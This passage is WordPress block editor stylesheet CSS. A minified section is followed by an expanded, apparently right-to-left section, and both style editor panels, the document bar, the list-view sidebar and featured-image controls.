.components-responsive-wrapper__content{max-width:100%;width:auto}.editor-post-featured-image__container{position:relative}.editor-post-featured-image__container:focus .editor-post-featured-image__actions,.editor-post-featured-image__container:focus-within .editor-post-featured-image__actions,.editor-post-featured-image__container:hover .editor-post-featured-image__actions{opacity:1}.editor-post-featured-image__preview,.editor-post-featured-image__toggle{box-shadow:0 0 0 0 var(--wp-admin-theme-color);display:flex;justify-content:center;max-height:150px;overflow:hidden;padding:0;transition:all .1s ease-out;width:100%}@media (prefers-reduced-motion:reduce){.editor-post-featured-image__preview,.editor-post-featured-image__toggle{transition-delay:0s;transition-duration:0s}}.editor-post-featured-image__preview{height:auto}.editor-post-featured-image__preview .components-responsive-wrapper{background:#f0f0f0;width:100%}.editor-post-featured-image__toggle{background-color:#f0f0f0;border-radius:2px;line-height:20px;min-height:90px;padding:8px 0;text-align:center}.editor-post-featured-image__toggle:hover{background:#ddd;color:#1e1e1e}.editor-post-featured-image__actions{bottom:0;opacity:0;padding:8px;position:absolute;transition:opacity 50ms ease-out}@media (prefers-reduced-motion:reduce){.editor-post-featured-image__actions{transition-delay:0s;transition-duration:0s}}.editor-post-featured-image__action{-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background:#ffffffbf;flex-grow:1;justify-content:center}[class].editor-post-format__suggestion{margin:4px 0 0}.editor-post-last-revision__title{font-weight:500;width:100%}.editor-post-last-revision__title.components-button.has-icon{height:100%;justify-content:space-between}.editor-post-last-revision__title.components-button.has-icon:active,.editor-post-last-revision__title.components-button.has-icon:hover{background:#f0f0f0}.editor-post-last-revision__title.components-button.has-icon:focus{border-radius:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.components-panel__body.is-opened.editor-post-last-revision__panel{height:48px;padding:0}.components-panel__body.is-opened.editor-post-last-revision__panel .editor-post-last-revision__title.components-button.components-button{padding:16px}.editor-post-locked-modal__buttons{margin-top:24px}.editor-post-locked-modal__avatar{border-radius:2px;margin-top:16px;min-width:auto!important}.editor-post-panel__row{align-items:flex-start!important;justify-content:flex-start!important;min-height:40px;width:100%}.editor-post-panel__row-label{align-items:center;display:flex;flex-shrink:0;min-height:40px;width:30%}.editor-post-panel__row-control{align-items:center;display:flex;flex-grow:1;min-height:40px}.editor-post-publish-button__button.has-changes-dot:before{background:currentcolor;border-radius:4px;content:"";height:8px;margin:auto -3px auto 5px;width:8px}.editor-post-publish-panel{background:#fff}.editor-post-publish-panel__content{min-height:calc(100% - 144px)}.editor-post-publish-panel__content>.components-spinner{display:block;margin:100px auto 0}.editor-post-publish-panel__header{align-content:space-between;align-items:center;background:#fff;border-bottom:1px solid #ddd;display:flex;height:61px;padding-left:16px;padding-right:16px}.editor-post-publish-panel__header .components-button{justify-content:center;width:100%}.editor-post-publish-panel__header .has-icon{margin-right:auto;width:auto}.components-site-card{align-items:center;display:flex;margin:16px 0}.components-site-icon{border:none;border-radius:2px;height:36px;margin-left:12px;width:36px}.components-site-name{display:block;font-size:14px}.components-site-home{color:#757575;display:block;font-size:12px}.editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{flex:1}@media (min-width:480px){.editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{max-width:160px}}.editor-post-publish-panel__header-publish-button{padding-left:4px}.editor-post-publish-panel__header-cancel-button{padding-right:4px}.editor-post-publish-panel__header-published{flex-grow:1}.editor-post-publish-panel__footer{padding:16px}.components-button.editor-post-publish-panel__toggle.is-primary{align-items:center;display:inline-flex}.components-button.editor-post-publish-panel__toggle.is-primary.is-busy .dashicon{display:none}.components-button.editor-post-publish-panel__toggle.is-primary .dashicon{margin-left:-4px}.editor-post-publish-panel__link{font-weight:400;padding-right:4px}.editor-post-publish-panel__prepublish{padding:16px}.editor-post-publish-panel__prepublish strong{color:#1e1e1e}.editor-post-publish-panel__prepublish .components-panel__body{background:#fff;margin-left:-16px;margin-right:-16px}.editor-post-publish-panel__prepublish .editor-post-visibility__dialog-legend{display:none}.post-publish-panel__postpublish .components-panel__body{border-bottom:1px solid #e0e0e0;border-top:none}.post-publish-panel__postpublish-buttons{align-content:space-between;display:flex;flex-wrap:wrap;gap:16px}.post-publish-panel__postpublish-buttons .components-button{flex:1;justify-content:center}.post-publish-panel__postpublish-buttons .components-clipboard-button{width:100%}.post-publish-panel__postpublish-post-address-container{align-items:flex-end;display:flex;margin-bottom:16px}.post-publish-panel__postpublish-post-address-container .post-publish-panel__postpublish-post-address{flex:1}.post-publish-panel__postpublish-post-address-container input[readonly]{background:#f0f0f0;border-color:#ccc;height:36px;overflow:hidden;padding:12px;text-overflow:ellipsis}.post-publish-panel__postpublish-post-address__copy-button-wrap{flex-shrink:0;margin-right:16px}.post-publish-panel__postpublish-header{font-weight:500}.post-publish-panel__postpublish-subheader{margin:0 0 8px}.post-publish-panel__tip{color:#f0b849}@media screen and (max-width:782px){.post-publish-panel__postpublish-post-address__button-wrap .components-button{height:40px}}.editor-post-saved-state{align-items:center;color:#757575;display:flex;overflow:hidden;padding:12px 4px;white-space:nowrap;width:28px}.editor-post-saved-state.is-saved[aria-disabled=true],.editor-post-saved-state.is-saved[aria-disabled=true]:hover,.editor-post-saved-state.is-saving[aria-disabled=true],.editor-post-saved-state.is-saving[aria-disabled=true]:hover{background:#0000;color:#757575}.editor-post-saved-state svg{display:inline-block;flex:0 0 auto;fill:currentColor;margin-left:8px}@media (min-width:600px){.editor-post-saved-state{padding:8px 12px;text-indent:inherit;width:auto}.editor-post-saved-state svg{margin-left:0}}.editor-post-save-draft.has-text.has-icon svg{margin-left:0}.editor-post-schedule__panel-dropdown{width:100%}.editor-post-schedule__dialog .components-popover__content{min-width:320px;padding:16px}.editor-post-schedule__dialog-toggle.components-button{display:block;height:auto;line-height:16px;max-width:100%;overflow:hidden;padding:10px 12px;text-align:right;white-space:unset}.editor-post-sync-status__value{padding:6px 12px 6px 0}.editor-post-taxonomies__hierarchical-terms-list{margin-right:-6px;margin-top:-6px;max-height:14em;overflow:auto;padding-right:6px;padding-top:6px}.editor-post-taxonomies__hierarchical-terms-choice{margin-bottom:8px}.editor-post-taxonomies__hierarchical-terms-choice:last-child{margin-bottom:4px}.editor-post-taxonomies__hierarchical-terms-subchoices{margin-right:16px;margin-top:8px}.editor-post-taxonomies__flat-term-most-used .editor-post-taxonomies__flat-term-most-used-label{margin-bottom:4px}.editor-post-taxonomies__flat-term-most-used-list{margin:0}.editor-post-taxonomies__flat-term-most-used-list li{display:inline-block;margin-left:8px}.editor-post-taxonomies__flat-term-most-used-list .components-button{font-size:12px}.editor-post-template__swap-template-modal{z-index:1000001}.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{column-count:2;column-gap:24px;padding-top:2px}@media (min-width:782px){.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{column-count:4}}.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__item:not(:focus):not(:hover) .block-editor-block-preview__container{box-shadow:0 0 0 1px #ddd}.editor-post-template__dropdown .components-popover__content{min-width:240px}.editor-post-template__dropdown .components-button.is-pressed,.editor-post-template__dropdown .components-button.is-pressed:hover{background:inherit;color:inherit}@media (min-width:782px){.editor-post-template__create-form{width:320px}}.editor-post-template__classic-theme-dropdown{padding:8px}.edit-post-text-editor__body textarea.editor-post-text-editor{border:1px solid #949494;border-radius:0;box-shadow:none;display:block;font-family:Menlo,Consolas,monaco,monospace;font-size:16px!important;line-height:2.4;margin:0;min-height:200px;overflow:hidden;padding:16px;resize:none;transition:border .1s ease-out,box-shadow .1s linear;width:100%}@media (prefers-reduced-motion:reduce){.edit-post-text-editor__body textarea.editor-post-text-editor{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.edit-post-text-editor__body textarea.editor-post-text-editor{font-size:15px!important;padding:24px}}.edit-post-text-editor__body textarea.editor-post-text-editor:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);position:relative}.edit-post-text-editor__body textarea.editor-post-text-editor::-webkit-input-placeholder{color:#1e1e1e9e}.edit-post-text-editor__body textarea.editor-post-text-editor::-moz-placeholder{color:#1e1e1e9e;opacity:1}.edit-post-text-editor__body textarea.editor-post-text-editor:-ms-input-placeholder{color:#1e1e1e9e}.edit-post-text-editor__body .editor-post-title.is-raw-text{margin-bottom:24px;margin-top:2px;max-width:none}.editor-post-url__panel-dropdown{width:100%}.components-button.editor-post-url__panel-toggle{display:block;max-width:100%;overflow:hidden;text-align:right;text-overflow:ellipsis;white-space:nowrap}.editor-post-url__panel-dialog .editor-post-url{margin:8px;min-width:248px}.editor-post-url__link-label{font-size:13px;font-weight:400;margin:0}.editor-post-url__link{direction:ltr;word-break:break-word}.editor-post-url__link-slug{font-weight:600}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{border:1px solid #1e1e1e;border-radius:2px;border-radius:50%;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:24px;line-height:normal;margin-left:12px;margin-top:2px;padding:6px 8px;transition:box-shadow .1s linear;transition:none;width:24px}@media (prefers-reduced-motion:reduce){.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{font-size:13px;line-height:normal}}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color)}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]::-webkit-input-placeholder{color:#1e1e1e9e}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]::-moz-placeholder{color:#1e1e1e9e;opacity:1}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:-ms-input-placeholder{color:#1e1e1e9e}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{height:20px;width:20px}}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked:before{background-color:#fff;border:4px solid #fff;box-sizing:inherit;height:8px;margin:0;transform:translate(-7px,7px);width:8px}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked:before{transform:translate(-5px,5px)}}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid #0000}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.editor-post-visibility__fieldset .editor-post-visibility__info{color:#757575;margin-right:36px;margin-top:.5em}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__info{margin-right:32px}}.editor-post-visibility__fieldset .editor-post-visibility__choice:last-child .editor-post-visibility__info{margin-bottom:0}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;margin-right:32px;padding:6px 8px;transition:box-shadow .1s linear;width:calc(100% - 32px)}@media (prefers-reduced-motion:reduce){.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{font-size:13px;line-height:normal}}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]::-webkit-input-placeholder{color:#1e1e1e9e}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]::-moz-placeholder{color:#1e1e1e9e;opacity:1}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]:-ms-input-placeholder{color:#1e1e1e9e}.editor-post-trash.components-button{flex-grow:1;justify-content:center}.editor-preview-dropdown__button-external{display:flex;justify-content:space-between;width:100%}.table-of-contents__popover.components-popover .components-popover__content{min-width:380px}.components-popover.table-of-contents__popover{z-index:99998}.table-of-contents__popover .components-popover__content{padding:16px}@media (min-width:600px){.table-of-contents__popover .components-popover__content{max-height:calc(100vh - 120px);overflow-y:auto}}.table-of-contents__popover hr{margin:10px -16px 0}.table-of-contents__wrapper:focus:before{bottom:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";display:block;left:0;pointer-events:none;position:absolute;right:0;top:0}.table-of-contents__counts{display:flex;flex-wrap:wrap;margin:-8px 0 0}.table-of-contents__count{color:#1e1e1e;display:flex;flex-basis:33%;flex-direction:column;font-size:13px;margin-bottom:0;margin-top:8px;padding-left:8px}.table-of-contents__count:nth-child(4n){padding-left:0}.table-of-contents__number,.table-of-contents__popover .word-count{color:#1e1e1e;font-size:21px;font-weight:400;line-height:30px}.table-of-contents__title{display:block;font-size:15px;font-weight:600;margin-top:20px}.editor-template-validation-notice{align-items:center;display:flex;justify-content:space-between}.editor-template-validation-notice .components-button{margin-right:5px}@charset "UTF-8";
:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.editor-autocompleters__user .editor-autocompleters__no-avatar:before{
  content:"";
  font:normal 20px/1 dashicons;
  margin-left:5px;
  vertical-align:middle;
}
.editor-autocompleters__user .editor-autocompleters__user-avatar{
  flex-grow:0;
  flex-shrink:0;
  height:24px;
  margin-left:8px;
  max-width:none;
  width:24px;
}
.editor-autocompleters__user .editor-autocompleters__user-name{
  flex-grow:1;
  flex-shrink:0;
  max-width:200px;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.editor-autocompleters__user .editor-autocompleters__user-slug{
  color:#757575;
  flex-grow:0;
  flex-shrink:0;
  margin-right:8px;
  max-width:100px;
  overflow:none;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.editor-autocompleters__user:hover .editor-autocompleters__user-slug{
  color:var(--wp-admin-theme-color);
}

.editor-block-manager__no-results{
  font-style:italic;
  padding:24px 0;
  text-align:center;
}

.editor-block-manager__search{
  margin:16px 0;
}

.editor-block-manager__disabled-blocks-count{
  background-color:#fff;
  border:1px solid #ddd;
  border-width:1px 0;
  box-shadow:32px 0 0 0 #fff,-32px 0 0 0 #fff;
  padding:8px;
  position:sticky;
  text-align:center;
  top:-5px;
  z-index:2;
}
.editor-block-manager__disabled-blocks-count~.editor-block-manager__results .editor-block-manager__category-title{
  top:31px;
}
.editor-block-manager__disabled-blocks-count .is-link{
  margin-right:12px;
}

.editor-block-manager__category{
  margin:0 0 24px;
}

.editor-block-manager__category-title{
  background-color:#fff;
  padding:16px 0;
  position:sticky;
  top:-4px;
  z-index:1;
}
.editor-block-manager__category-title .components-checkbox-control__label{
  font-weight:600;
}

.editor-block-manager__checklist{
  margin-top:0;
}

.editor-block-manager__category-title,.editor-block-manager__checklist-item{
  border-bottom:1px solid #ddd;
}

.editor-block-manager__checklist-item{
  align-items:center;
  display:flex;
  justify-content:space-between;
  margin-bottom:0;
  padding:8px 16px 8px 0;
}
.components-modal__content .editor-block-manager__checklist-item.components-checkbox-control__input-container{
  margin:0 8px;
}
.editor-block-manager__checklist-item .block-editor-block-icon{
  margin-left:10px;
  fill:#1e1e1e;
}

.editor-block-manager__results{
  border-top:1px solid #ddd;
}

.editor-block-manager__disabled-blocks-count+.editor-block-manager__results{
  border-top-width:0;
}

.editor-document-bar{
  align-items:center;
  background:#f0f0f0;
  border-radius:4px;
  display:flex;
  height:32px;
  justify-content:space-between;
  min-width:0;
  width:min(100%, 450px);
}
.editor-document-bar:hover{
  background-color:#e0e0e0;
}
.editor-document-bar .components-button{
  border-radius:4px;
}
.editor-document-bar .components-button:hover{
  background:#e0e0e0;
  color:var(--wp-block-synced-color);
}
@media (min-width:960px){
  .editor-document-bar{
    width:min(100%, 450px);
  }
}

.editor-document-bar__command{
  color:var(--wp-block-synced-color);
  flex-grow:1;
  overflow:hidden;
}

.editor-document-bar__title{
  color:#2f2f2f;
  flex-grow:1;
  overflow:hidden;
}
@media (min-width:600px){
  .editor-document-bar__title{
    padding-right:32px;
  }
}
.editor-document-bar.is-global .editor-document-bar__title,.editor-document-bar__title:hover{
  color:var(--wp-block-synced-color);
}
.editor-document-bar__title .block-editor-block-icon{
  flex-shrink:0;
  min-width:24px;
}
.editor-document-bar__title h1{
  color:currentColor;
  max-width:50%;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.editor-document-bar.is-animated.has-back-button .editor-document-bar__title{
  animation:editor-document-bar__slide-in-left .3s;
}
@media (prefers-reduced-motion:reduce){
  .editor-document-bar.is-animated.has-back-button .editor-document-bar__title{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.editor-document-bar.is-animated .editor-document-bar__title{
  animation:editor-document-bar__slide-in-right .3s;
}
@media (prefers-reduced-motion:reduce){
  .editor-document-bar.is-animated .editor-document-bar__title{
    animation-delay:0s;
    animation-duration:1ms;
  }
}

.editor-document-bar__shortcut{
  color:#2f2f2f;
  display:none;
  min-width:32px;
}
@media (min-width:782px){
  .editor-document-bar__shortcut{
    display:initial;
  }
}

.editor-document-bar__back.components-button.has-icon.has-text{
  color:#757575;
  flex-shrink:0;
  gap:0;
  min-width:36px;
  position:absolute;
  z-index:1;
}
.editor-document-bar__back.components-button.has-icon.has-text:hover{
  background-color:initial;
  color:var(--wp-block-synced-color);
}
.editor-document-bar.is-animated .editor-document-bar__back.components-button.has-icon.has-text{
  animation:editor-document-bar__slide-in-left .3s;
}
@media (prefers-reduced-motion:reduce){
  .editor-document-bar.is-animated .editor-document-bar__back.components-button.has-icon.has-text{
    animation-delay:0s;
    animation-duration:1ms;
  }
}

@keyframes editor-document-bar__slide-in-right{
  0%{
    opacity:0;
    transform:translateX(15%);
  }
  to{
    opacity:1;
    transform:translateX(0);
  }
}
@keyframes editor-document-bar__slide-in-left{
  0%{
    opacity:0;
    transform:translateX(-15%);
  }
  to{
    opacity:1;
    transform:translateX(0);
  }
}
.document-outline{
  margin:20px 0;
}
.document-outline ul{
  margin:0;
  padding:0;
}

.document-outline__item{
  display:flex;
  margin:4px 0;
}
.document-outline__item a{
  text-decoration:none;
}
.document-outline__item .document-outline__emdash:before{
  color:#ddd;
  margin-left:4px;
}
.document-outline__item.is-h2 .document-outline__emdash:before{
  content:"—";
}
.document-outline__item.is-h3 .document-outline__emdash:before{
  content:"——";
}
.document-outline__item.is-h4 .document-outline__emdash:before{
  content:"———";
}
.document-outline__item.is-h5 .document-outline__emdash:before{
  content:"————";
}
.document-outline__item.is-h6 .document-outline__emdash:before{
  content:"—————";
}

.document-outline__button{
  align-items:flex-start;
  background:none;
  border:none;
  border-radius:2px;
  color:#1e1e1e;
  cursor:pointer;
  display:flex;
  margin:0 -1px 0 0;
  padding:2px 1px 2px 5px;
  text-align:right;
}
.document-outline__button:disabled{
  cursor:default;
}
.document-outline__button:focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.document-outline__level{
  background:#ddd;
  border-radius:3px;
  color:#1e1e1e;
  font-size:13px;
  margin-left:4px;
  padding:1px 6px;
}
.is-invalid .document-outline__level{
  background:#f0b849;
}

.document-outline__item-content{
  padding:1px 0;
}

.editor-document-outline.has-no-headings{
  color:#757575;
  text-align:center;
}
.editor-document-outline.has-no-headings>svg{
  margin-top:28px;
}
.editor-document-outline.has-no-headings>p{
  padding-left:32px;
  padding-right:32px;
}

.editor-document-tools{
  align-items:center;
  display:inline-flex;
}
.editor-document-tools .editor-document-tools__left>.components-button{
  display:none;
}
@media (min-width:600px){
  .editor-document-tools .editor-document-tools__left>.components-button{
    display:inline-flex;
  }
}
.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle{
  display:inline-flex;
}
.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle svg{
  transition:transform .2s cubic-bezier(.165, .84, .44, 1);
}
@media (prefers-reduced-motion:reduce){
  .editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle svg{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.is-pressed svg{
  transform:rotate(-45deg);
}
.editor-document-tools .block-editor-list-view{
  display:none;
}
@media (min-width:600px){
  .editor-document-tools .block-editor-list-view{
    display:flex;
  }
}
.editor-document-tools .editor-document-tools__left>.components-button.has-icon,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon{
  height:32px;
  min-width:32px;
  padding:4px;
}
.editor-document-tools .editor-document-tools__left>.components-button.has-icon.is-pressed,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon.is-pressed{
  background:#1e1e1e;
}
.editor-document-tools .editor-document-tools__left>.components-button.has-icon:focus:not(:disabled),.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon:focus:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 1px #fff;
  outline:1px solid #0000;
}
.editor-document-tools .editor-document-tools__left>.components-button.has-icon:before,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon:before{
  display:none;
}

.editor-document-tools__left{
  align-items:center;
  display:inline-flex;
  gap:8px;
  margin-left:8px;
  padding-right:16px;
}
@media (min-width:782px){
  .editor-document-tools__left{
    padding-right:20px;
  }
}
@media (min-width:1280px){
  .editor-document-tools__left{
    padding-left:8px;
  }
}

.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.has-icon{
  height:32px;
  min-width:32px;
  padding:0;
  width:32px;
}
.show-icon-labels .editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.has-icon{
  height:32px;
  padding:0 8px;
  width:auto;
}

.show-icon-labels .editor-document-tools__left>*+*{
  margin-right:8px;
}

.components-editor-notices__dismissible,.components-editor-notices__pinned{
  color:#1e1e1e;
  left:0;
  position:relative;
  right:0;
  top:0;
}
.components-editor-notices__dismissible .components-notice,.components-editor-notices__pinned .components-notice{
  border-bottom:1px solid #0003;
  box-sizing:border-box;
  min-height:60px;
  padding:0 12px;
}
.components-editor-notices__dismissible .components-notice .components-notice__dismiss,.components-editor-notices__pinned .components-notice .components-notice__dismiss{
  margin-top:12px;
}

.entities-saved-states__panel-header{
  background:#fff;
  border-bottom:1px solid #ddd;
  box-sizing:border-box;
  height:60px;
  padding-left:8px;
  padding-right:8px;
}

.entities-saved-states__text-prompt{
  padding:16px 16px 4px;
}
.entities-saved-states__text-prompt .entities-saved-states__text-prompt--header{
  display:block;
  margin-bottom:12px;
}

.entities-saved-states__description-heading{
  font-size:13px;
}

.entities-saved-states__changes{
  color:#757575;
  font-size:12px;
  list-style:disc;
  margin:8px 16px 0;
}
.entities-saved-states__changes li{
  margin-bottom:4px;
}

.editor-error-boundary{
  box-shadow:0 .7px 1px #00000026,0 2.7px 3.8px -.2px #00000026,0 5.5px 7.8px -.3px #00000026,-.1px 11.5px 16.4px -.5px #00000026;
  margin:60px auto auto;
  max-width:780px;
  padding:20px;
}

.editor-inserter-sidebar{
  box-sizing:border-box;
  display:flex;
  flex-direction:column;
  height:100%;
}
.editor-inserter-sidebar *,.editor-inserter-sidebar :after,.editor-inserter-sidebar :before{
  box-sizing:inherit;
}

.editor-inserter-sidebar__header{
  display:flex;
  justify-content:flex-end;
  padding-left:8px;
  padding-top:8px;
}

.editor-inserter-sidebar__content{
  height:calc(100% - 44px);
}
@media (min-width:782px){
  .editor-inserter-sidebar__content{
    height:100%;
  }
}

.editor-list-view-sidebar{
  display:flex;
  flex-direction:column;
  height:100%;
}
@media (min-width:782px){
  .editor-list-view-sidebar{
    width:350px;
  }
}
.editor-list-view-sidebar .edit-post-editor__document-overview-panel__header{
  border-bottom:1px solid #ddd;
  display:flex;
}
.editor-list-view-sidebar .editor-list-view-sidebar__close-button{
  align-self:center;
  background:#fff;
  margin-left:8px;
  order:1;
}

.editor-list-view-sidebar__tabs-tablist{
  box-sizing:border-box;
  flex-grow:1;
}

.editor-list-view-sidebar__tabs-tab{
  margin-bottom:-1px;
  width:50%;
}

.editor-list-view-sidebar__tabs-tabpanel{
  height:calc(100% - 47px);
}

.editor-list-view-sidebar__list-view-container>.document-outline,.editor-list-view-sidebar__list-view-panel-content{
  height:100%;
  overflow:auto;
  padding:8px 6px;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-gutter:auto;
  scrollbar-width:thin;
  will-change:transform;
}
.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar-track,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar-track{
  background-color:initial;
}
.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.editor-list-view-sidebar__list-view-container>.document-outline:focus-within::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-container>.document-outline:focus::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-container>.document-outline:hover::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:focus-within::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:focus::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:hover::-webkit-scrollbar-thumb{
  background-color:#949494;
}
.editor-list-view-sidebar__list-view-container>.document-outline:focus,.editor-list-view-sidebar__list-view-container>.document-outline:focus-within,.editor-list-view-sidebar__list-view-container>.document-outline:hover,.editor-list-view-sidebar__list-view-panel-content:focus,.editor-list-view-sidebar__list-view-panel-content:focus-within,.editor-list-view-sidebar__list-view-panel-content:hover{
  scrollbar-color:#949494 #0000;
}
@media (hover:none){
  .editor-list-view-sidebar__list-view-container>.document-outline,.editor-list-view-sidebar__list-view-panel-content{
    scrollbar-color:#949494 #0000;
  }
}

.editor-list-view-sidebar__list-view-container{
  display:flex;
  flex-direction:column;
  height:100%;
}

.editor-list-view-sidebar__tab-panel{
  height:100%;
}

.editor-list-view-sidebar__outline{
  border-bottom:1px solid #ddd;
  display:flex;
  flex-direction:column;
  gap:8px;
  padding:16px;
}
.editor-list-view-sidebar__outline>div>span:first-child{
  display:inline-block;
  width:90px;
}
.editor-list-view-sidebar__outline>div>span{
  color:#757575;
  font-size:12px;
  line-height:1.4;
}

.editor-post-author__panel{
  padding-top:8px;
}

.editor-post-author__panel .editor-post-panel__row-control>div{
  width:100%;
}

.editor-post-excerpt__textarea{
  margin-bottom:10px;
  width:100%;
}

.editor-post-featured-image{
  padding:0;
}
.editor-post-featured-image .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}
.editor-post-featured-image .components-responsive-wrapper__content{
  max-width:100%;
  width:auto;
}

.editor-post-featured-image__container{
  position:relative;
}
.editor-post-featured-image__container:focus .editor-post-featured-image__actions,.editor-post-featured-image__container:focus-within .editor-post-featured-image__actions,.editor-post-featured-image__container:hover .editor-post-featured-image__actions{
  opacity:1;
}

.editor-post-featured-image__preview,.editor-post-featured-image__toggle{
  box-shadow:0 0 0 0 var(--wp-admin-theme-color);
  display:flex;
  justify-content:center;
  max-height:150px;
  overflow:hidden;
  padding:0;
  transition:all .1s ease-out;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .editor-post-featured-image__preview,.editor-post-featured-image__toggle{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.editor-post-featured-image__preview{
  height:auto;
}
.editor-post-featured-image__preview .components-responsive-wrapper{
  background:#f0f0f0;
  width:100%;
}

.editor-post-featured-image__toggle{
  background-color:#f0f0f0;
  border-radius:2px;
  line-height:20px;
  min-height:90px;
  padding:8px 0;
  text-align:center;
}
.editor-post-featured-image__toggle:hover{
  background:#ddd;
  color:#1e1e1e;
}

.editor-post-featured-image__actions{
  bottom:0;
  opacity:0;
  padding:8px;
  position:absolute;
  transition:opacity 50ms ease-out;
}
@media (prefers-reduced-motion:reduce){
  .editor-post-featured-image__actions{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.editor-post-featured-image__action{
  -webkit-backdrop-filter:blur(16px) saturate(180%);
          backdrop-filter:blur(16px) saturate(180%);
